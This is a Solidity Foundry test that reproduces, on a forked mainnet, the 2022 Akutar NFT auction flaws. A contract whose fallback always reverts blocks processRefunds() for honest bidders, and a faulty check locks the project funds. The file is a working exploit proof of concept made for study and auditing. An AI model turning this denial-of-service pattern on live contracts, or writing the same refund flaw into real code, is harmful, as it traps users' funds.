src/test/2022-04/AkutarNFT_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7/*
8Akutar NFT Denial of Service(DoS) Exploit PoC
9 
10There are two serious logic vulnerabilities
11 
121. First can cause a DoS attack due to the missing check if the bidder is a contract. As a result, the attacker can call the revert() and stop the honest bidders from getting back their bid amount.
13 
142. The Second will make the project fund (more than 34M USD) being locked forever due to incorrect check in the require statement.
15 
16forge test --contracts ./src/test/AkutarNFT_exp.sol -vv  
17*/
18contract AkutarNFTExploit is Test {
19    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
20    IAkutarNFT akutarNft = IAkutarNFT(0xF42c318dbfBaab0EEE040279C6a2588Fa01a961d);
21 
22    function setUp() public {
23        cheats.createSelectFork("mainnet", 14_636_844); // fork mainnet at 14636844
24    }
25 
26    function testDOSAttack() public {
27        address honestUser = 0xca2eB45533a6D5E2657382B0d6Ec01E33a425BF4;
28        address maliciousUser = address(this); // malicious User is a contract address
29 
30        cheats.prank(maliciousUser); //maliciousUser makes a bid
31        akutarNft.bid{value: 3.5 ether}(1);
32        console.log("honestUser Balance before Bid: ", honestUser.balance / 1 ether);
33 
34        cheats.prank(honestUser); //honestUser makes a bid
35        akutarNft.bid{value: 3.75 ether}(1);
36        console.log("honestUser Balance after Bid: ", honestUser.balance / 1 ether);
37 
38        //Set the block.height to the time when the auction was over and processRefunds() can be invoked
39        //https://etherscan.io/tx/0x62d280abc60f8b604175ab24896c989e6092e496ac01f2f5399b2a62e9feaacf
40        //use - https://www.epochconverter.com/ for UTC <-> epoch
41        cheats.warp(1_650_674_809);
42 
43        cheats.prank(maliciousUser);
44        try akutarNft.processRefunds() {}
45        catch Error(string memory Exception) {
46            console.log("processRefunds() REVERT : ", Exception);
47        }
48        //Since the honestUser's bid was after maliciousUser's bid, the bid amount of the honestUser is never returned due to the revert Exception
49        console.log("honestUser Balance post processRefunds: ", honestUser.balance / 1 ether);
50    }
51 
52    function testclaimProjectFunds() public {
53        address ownerOfAkutarNFT = 0xCc0eCD808Ce4fEd81f0552b3889656B28aa2BAe9;
54 
55        //Set the block.height to the time when the auction was over and claimProjectFunds() can be invoked
56        cheats.warp(1_650_672_435);
57 
58        cheats.prank(ownerOfAkutarNFT);
59        try akutarNft.claimProjectFunds() {}
60        catch Error(string memory Exception) {
61            console.log("claimProjectFunds() ERROR : ", Exception);
62        }
63    }
64 
65    fallback() external {
66        revert("CAUSE REVERT !!!");
67    }
68}